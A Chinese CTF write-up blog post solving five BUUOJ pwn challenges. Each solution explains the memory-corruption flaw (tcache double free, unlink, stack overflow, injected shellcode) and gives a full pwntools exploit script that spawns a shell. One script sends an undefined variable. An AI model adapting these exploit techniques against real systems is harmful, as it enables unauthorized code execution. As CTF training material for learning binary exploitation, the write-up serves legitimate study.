buuoj Pwn writeup 66-70

66 ciscn_2019_final_3

保护

在这里插入图片描述c++的一个堆。
逻辑挺简单。

在这里插入图片描述
add

在这里插入图片描述HIDWORD是IAD里面的宏定义。
在这里插入图片描述在这里插入图片描述最多申请24个。
size下面放index,然后申请的chunk地址放在2022a0.
在这里插入图片描述还把地址输了出来。

remove
在这里插入图片描述这个题给的东西比较少,给了堆的地址,给了申请,给了释放。

释放之后有个uaf。

思路就是首先我们需要泄露地址,程序里面的gift可以做到这一点,通过它来获得PIE,进而知道malloc_hook。

free后指针没有置0,且libc是2.27的,存在tcache dup。唯一问题就在于如何得到libc的地址。泄露libc地址一般通过unsortbin,存在tcache的情况下,64位程序需要申请超过0x400大小chunk,free之后才能进unsortbin,所以只能通过修改chunksize,其次要得到libc地址必须要分配到这块地方题目才能给你打印出来,通过overlap可以将在tcache中的fd部分变为unsortbin的fd部分,从而分配到libc地址上空间。

在这里插入图片描述
这个是overlap之后的heap布局。

在这里插入图片描述因为这道题唯一能够输出地址的只能是去申请到那个地方的chunk,那么通过overlap,把main_arena地址写在一个被overlap的chunk的fd那里,而且要提前把chunk挂到链里面,不然chunk的大小会被修改。
上面那个图就是效果图,这个时候如果去申请tcache大小的chunk的话,就会申请到main_arena,并且做到泄露地址。

然后就是随便找个chunk,来一次double free,攻击malloc_hook,来拿到shell。

# -*- coding: utf-8 -*-
from pwn import *

r = remote("node3.buuoj.cn",28201)
#r = process("./66")
#libc=ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6')
libc = ELF("./libc.so.6")

context.log_level = "debug"

def add(idx,size,data):
    r.recvuntil('choice > ')
    r.sendline('1')
    r.recvuntil('the index')
    r.sendline(str(idx))
    r.recvuntil('the size')
    r.sendline(str(size))
    r.recvuntil('something')
    r.sendline(data)
    r.recvuntil('gift :')
    return int(r.recvline()[2:],16)
#这个地方这样接收地址,这种写法非常好

def free(idx):
    r.recvuntil('choice > ')
    r.sendline('2')
    r.recvuntil('the index')
    r.sendline(str(idx))   

heap=add(0,0x78,'a')#0
print(hex(heap))

add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3 
add(4,0x78,'c')#4
add(5,0x78,'d')#5 
add(6,0x78,'c')#6
add(7,0x78,'d')#7 
add(8,0x78,'c')#8
add(9,0x78,'d')#9 
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12

free(12)
free(12)

add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))
#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')
add(17,0x18,'f')
'''
libc_base=add(18,0x18,'g')-0x3ebca0
malloc_hook=libc_base+libc.sym['__malloc_hook']
'''
malloc_hook = (add(18, 0x18, 'g') & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']

#这样写可以避免不同的libc需要减的那个数字不一样。

one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))

#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell

#gdb.attach(r)

r.sendline("1")
r.sendline("22")
r.sendline('a')

r.interactive()

67 mrctf2020_shellcode

保护
在这里插入图片描述
在这里插入图片描述
因为有call rax 反编译不了,就直接看吧。

没开NX,然后call rax那里直接把buf的地址放了进去,所以回call那里,所以直接在那个地方写上shellcode就好。

exp

# -*- coding: utf-8 -*
from pwn import *

context.arch = "amd64"
context.log_level = "debug"
r = remote('node3.buuoj.cn',26456)
#r = process('./65')
elf = ELF('./67') 
libc = ELF("./64/libc-2.23.so")

shellcode = asm(shellcraft.sh())

r.sendline(shellcode)

r.interactive()

68 hitcontraining_magicheap

保护
在这里插入图片描述
在这里插入图片描述菜单堆。

create
在这里插入图片描述
就是正常的申请空间然后往里面写内容。

edit
在这里插入图片描述编辑的时候输入大小就又能随便写,这就有溢出嘛。

delete
在这里插入图片描述这里指针啥的都清空了。

后门函数也有。
在这里插入图片描述
根据主程序写的,他就是要求往magic的地方写入一个比较大的数字,因为现在libc更新,所以unsortedbin_attack可以说是直接消失了,因为他会检查链表的完整性。

  /* Record incoming configuration of top */

  old_top = av->top;
  old_size = chunksize (old_top);
  old_end = (char *) (chunk_at_offset (old_top, old_size));

  brk = snd_brk = (char *) (MORECORE_FAILURE);

  /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

所以我们在这里就直接用unlink。

回顾一下unlink

#define unlink(P, BK, FD)
{
    FD = P->fd;
    BK = P->bk;
    if(FD->bk != P || BK->fd !=p)
    {
        malloc_printerr (check_action, "corrupted d...", P);
    }
    else
    {
        FD->bk = BK;
        BK->fd = FD;
    }
}

通过unlink,把劫持heaparray,然后把第一个数组那里写成free的got,参数,参数的地址,都写在这个地方,然后修改free为system,从而拿到shell。

exp

# -*- coding: utf-8 -*-
from pwn import *

r = remote('node3.buuoj.cn',26365)
#r = process('./41')
context.log_level = "debug"
elf=ELF("./68")
free_got=elf.got['free']
system_plt=elf.plt['system']
context.log_level='debug'
ptr=0x6020c8

def create(size,content):
    r.recvuntil('Your choice :')
    r.sendline("1")
    r.recvuntil('Size of Heap : ')
    r.sendline(str(size))
    r.recvuntil('Content of heap:')
    r.sendline(content)

def edit(index, size, content):
    r.recvuntil('Your choice :')
    r.sendline('2')
    r.recvuntil('Index :')
    r.sendline(str(index))
    r.recvuntil('Size of Heap : ')
    r.sendline(str(size))
    r.recvuntil('Content of heap : ')
    r.send(content) 
#这个地方要特殊注意,因为我们后面输入大小的时候直接按照字符串大小输入的
#如果我们是sendline,那么会多送一个回车,但是read读不进去,因为read的参数大小受限
#所以他会把这个回车留到下一次输入的时候顺便读进去,这就造成了很大的问题
#所以这个地方要格外小心

def delete(index):
    r.recvuntil('Your choice :')
    r.sendline('3')
    r.recvuntil('Index :')
    r.sendline(str(index))
    
create(0x100,'aaaa')
create(0x20,'bbbb')
create(0x80,'cccc')

payload = p64(0) + p64(0x21) + p64(ptr-0x18) + p64(ptr-0x10)
payload += p64(0x20) + p64(0x90)

edit(1,len(payload),payload)

delete(2)

payload = p64(0) + p64(0) + p64(free_got)
payload += p64(ptr-0x18) + p64(ptr+0x10) + "/bin/sh"

edit(1,len(payload),payload)
edit(0,8,p64(system_plt))

delete(2)

r.interactive()

69 pwnable_start

保护
在这里插入图片描述在这里插入图片描述
程序还挺有意思,没有开NX。

显示系统调用号为4的write函数,然后是系统调用号为3的read函数。
先是把那一串文字写出来,然后让你往栈上面输东西。
因为最后两句是 add esp,14h,ret。所以栈的大小是14h,而且没有用esp,就是直接接返回地址。

首先要泄露地址。
因为程序一开始将esp入栈了,所以程序返回之后,栈顶就是之前esp的地址。

在这里插入图片描述

然后溢出,调用系统调用号是11的execve就行了。

程序还规定了写入的大小,用pwntools的话就太多了,所以还是自己手写一个。

exp

from pwn import *

context(os='linux',arch='i386',log_level='debug')

r = remote("node3.buuoj.cn","27571")

payload = 'A'*0x14 + p32(0x8048087)
r.sendafter("Let's start the CTF:",x)

stack = u32(r.recv(4))
print(hex(stack))

esp = stack - 0x4

shellcode ='''
xor ecx,ecx
xor edx,edx
xor eax,eax
mov al,11
xor ebx,ebx
mov ebx,esp
int 0x80
'''

payload = 'A' * 0x14 + p32(esp+0x14+0xc) + '/bin/sh\x00' + asm(shellcode)
r.send(payload)

r.interactive()

70 wustctf2020_getshell_2

保护在这里插入图片描述
在这里插入图片描述
平平无奇栈溢出。

在这里插入图片描述但是这个后门函数参数有点问题。

溢出的空间不大,没有办法常规做法。
栈迁移没办法做,不能往bss写一些东西。

回到上面给的那个后门函数,发现可以直接用/sh。

system(’/sh’)也是后门函数。
在这里插入图片描述
exp

from pwn import *

context(os='linux',arch='i386',log_level='debug')

r = remote('node3.buuoj.cn', 26920)

system_addr = 0x8048529
sh_addr = 0x8048670

payload = 'a' * 28 + p32(system_addr) + p32(sh_addr)
r.send(payload)

r.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值